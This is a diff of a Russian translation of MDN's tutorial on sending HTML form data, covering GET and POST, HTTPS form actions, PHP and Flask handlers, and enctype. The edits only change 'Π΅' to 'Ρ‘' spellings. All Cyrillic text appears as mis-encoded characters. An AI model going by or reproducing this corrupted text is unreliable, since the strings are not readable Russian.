Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("action","form")}}, всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Ρ‹Π΄Π°ΡŽΡ‚Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎ бСзопасности ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ ΡˆΠΈΡ„Ρ€ΡƒΡŽΡ‚ΡΡ.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> МоТно ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» HTTPS (бСзопасный HTTP). Когда Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅ это, Π΄Π°Π½Π½Ρ‹Π΅ ΡˆΠΈΡ„Ρ€ΡƒΡŽΡ‚ΡΡ вмСстС с ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ запроса, Π΄Π°ΠΆΠ΅ Ссли сама Ρ„ΠΎΡ€ΠΌΠ° размСщаСтся Π½Π° нСбСзопасной страницС, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ осущСствляСтся Ρ‡Π΅Ρ€Π΅Π· HTTP. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Ρ„ΠΎΡ€ΠΌΠ° размСщаСтся Π½Π° Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΉ страницС, Π½ΠΎ Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ нСбСзопасный URL-адрСс HTTP с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("action","form")}}, всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Ρ‹Π΄Π°ΡŽΡ‚Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎ бСзопасности ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ ΡˆΠΈΡ„Ρ€ΡƒΡŽΡ‚ΡΡ.</p>
</div>
<h4 id="Атрибут_htmlattrxrefmethodform">Атрибут {{htmlattrxref("method","form")}}</h4>
-<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт способ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. <a href="/en-US/docs/HTTP">ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» HTTP</a> прСдоставляСт нСсколько способов Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ запрос;Β  Π”Π°Π½Π½Ρ‹Π΅ HTML-Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒΡΡ нСсколькими Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнными ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>GET</code>Β ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>POST</code>.</p>
+<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт способ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. <a href="/en-US/docs/HTTP">ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» HTTP</a> прСдоставляСт нСсколько способов Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ запрос;Β  Π”Π°Π½Π½Ρ‹Π΅ HTML-Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒΡΡ нСсколькими Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространёнными ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>GET</code>Β ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>POST</code>.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ вСрнёмся Π½Π°Π·Π°Π΄ ΠΈ рассмотрим, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ HTTP. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ рСсурсу Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ отправляСт запрос Π½Π° URL-адрСс. HTTP-запрос состоит ΠΈΠ· Π΄Π²ΡƒΡ… частСй: Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π½Π°Π±ΠΎΡ€ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ возмоТностях Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΈ Ρ‚Π΅Π»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ сСрвСру для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ запроса.</p>
@@ -91,7 +91,7 @@ original_slug: Learn/HTML/Forms/ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ°_ΠΈ_ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π΄Π°Π½Π½Ρ
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>GET</code>, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ URL <code>www.foo.com/?say=Hi&amp;to=Mom</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ появится Π² адрСсной строкС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹.</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/14685/url-parameters.png" style="display: block; margin: 0 auto;">Π”Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² URLΒ ΠΊΠ°ΠΊ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ°Ρ€ имя / Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΒ URL Π²Π΅Π±-адрСс закончился, ΠΌΡ‹ добавляСм Π·Π½Π°ΠΊ вопроса (<code>?</code>), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΠ°Ρ€Ρ‹ имя / Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° ампСрсандом (<code>&amp;</code>).Β Π’ этом случаС ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΄Π²Π΅ части Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСр:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/14685/url-parameters.png" style="display: block; margin: 0 auto;">Π”Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² URLΒ ΠΊΠ°ΠΊ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ°Ρ€ имя / Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΒ URL Π²Π΅Π±-адрСс закончился, ΠΌΡ‹ добавляСм Π·Π½Π°ΠΊ вопроса (<code>?</code>), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΠ°Ρ€Ρ‹ имя / Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° ампСрсандом (<code>&amp;</code>).Β Π’ этом случаС ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΄Π²Π΅ части Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСр:</p>
<ul>
<li><code>say</code>, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>Hi</code></li>
@@ -171,7 +171,7 @@ say=Hi&amp;to=Mom</pre>
<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Чистый_PHP">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: Чистый PHP</h4>
-<p><a href="https://php.net/">PHP</a> ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ нСсколько Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² для доступа ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ. НапримСр, Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ <code>POST</code>-ΠΌΠ΅Ρ‚ΠΎΠ΄, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π°Π½Π½Ρ‹Π΅ просто ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ΡΡ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. РазумССтся, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ β€” Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π°ΠΌ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ эти Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎ ΠΏΠΎΡ‡Ρ‚Π΅ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ эти Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΡƒΠ΄Π°-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅.</p>
+<p><a href="https://php.net/">PHP</a> ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ нСсколько Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² для доступа ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ. НапримСр, Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ <code>POST</code>-ΠΌΠ΅Ρ‚ΠΎΠ΄, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π°Π½Π½Ρ‹Π΅ просто ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ΡΡ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. РазумССтся, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ β€” Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π°ΠΌ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ эти Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎ ΠΏΠΎΡ‡Ρ‚Π΅ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ эти Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΡƒΠ΄Π°-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅.</p>
<pre class="brush: php notranslate">&lt;?php
// The global $_POST variable allows you to access the data sent with the POST method by name
@@ -217,7 +217,7 @@ if __name__ == "__main__":
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, этот ΠΊΠΎΠ΄ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли Π²Ρ‹ просто ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ прямо Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Python Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Π°Ρ‡Π΅, Ρ‡Π΅ΠΌ PHP β€” Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ этот ΠΊΠΎΠ΄, Π½ΡƒΠΆΠ½ΠΎΒ <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Python/PIP</a>, ΠΏΠΎΡ‚ΠΎΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Flask ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:Β <code>pip3 install flask</code>. ПослС этого, Π²Ρ‹ смоТСтС Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:Β <code>python3 python-example.py</code>, ΠΏΠΎΡ‚ΠΎΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒΒ <code>localhost:5000</code> Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, этот ΠΊΠΎΠ΄ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли Π²Ρ‹ просто ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ прямо Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Python Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Π°Ρ‡Π΅, Ρ‡Π΅ΠΌ PHP β€” Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ этот ΠΊΠΎΠ΄, Π½ΡƒΠΆΠ½ΠΎΒ <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Python/PIP</a>, ΠΏΠΎΡ‚ΠΎΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Flask ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:Β <code>pip3 install flask</code>. ПослС этого, Π²Ρ‹ смоТСтС Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:Β <code>python3 python-example.py</code>, ΠΏΠΎΡ‚ΠΎΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒΒ <code>localhost:5000</code> Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
</div>
<h4 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_языки_ΠΈ_Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ">Π”Ρ€ΡƒΠ³ΠΈΠ΅ языки ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ</h4>
@@ -232,7 +232,7 @@ if __name__ == "__main__":
<li><a href="https://phoenixframework.org/">Phoenix</a> для Elixir</li>
</ul>
-<p>Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ использованиС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ² ΠΈ Ρ€Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ - это Π½Π΅ всСгда Π»Π΅Π³ΠΊΠΎ. Но это Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Π³Ρ‡Π΅, Ρ‡Π΅ΠΌ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» с нуля, ΠΈ это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ сэкономит врСмя.Β </p>
+<p>Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ использованиС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ² ΠΈ Ρ€Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ - это Π½Π΅ всСгда Π»Π΅Π³ΠΊΠΎ. Но это Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Π³Ρ‡Π΅, Ρ‡Π΅ΠΌ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» с нуля, ΠΈ это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ сэкономит врСмя.Β </p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠžΠ±ΡƒΡ‡Π΅Π½ΠΈΡŽ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°ΠΌΒ ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с сСрвСрами Π½Π΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Ρ€Π°ΠΌΠΊΠΈ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ.  Если Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС, ссылки Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π² этом.Β </p>
@@ -244,7 +244,7 @@ if __name__ == "__main__":
<h3 id="Атрибут_htmlattrxrefenctypeform">Атрибут {{htmlattrxref("enctype","form")}}Β </h3>
-<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ позволяСт ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Β <code>Content-Type</code> HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π² запрос, ΠΏΡ€ΠΈ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ΅Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сСрвСру, ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… отправляСтся. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это:Β <code>application/x-www-form-urlencoded</code>. На чСловСчСском это Π·Π½Π°Ρ‡ΠΈΡ‚: "Π­Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ° с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π²Β URL ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹."</p>
+<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ позволяСт ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Β <code>Content-Type</code> HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² запрос, ΠΏΡ€ΠΈ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ΅Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сСрвСру, ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… отправляСтся. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это:Β <code>application/x-www-form-urlencoded</code>. На чСловСчСском это Π·Π½Π°Ρ‡ΠΈΡ‚: "Π­Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ° с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π²Β URL ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹."</p>
<p>Если Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ», Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Ρ€ΠΈ шага:</p>
@@ -276,17 +276,17 @@ if __name__ == "__main__":
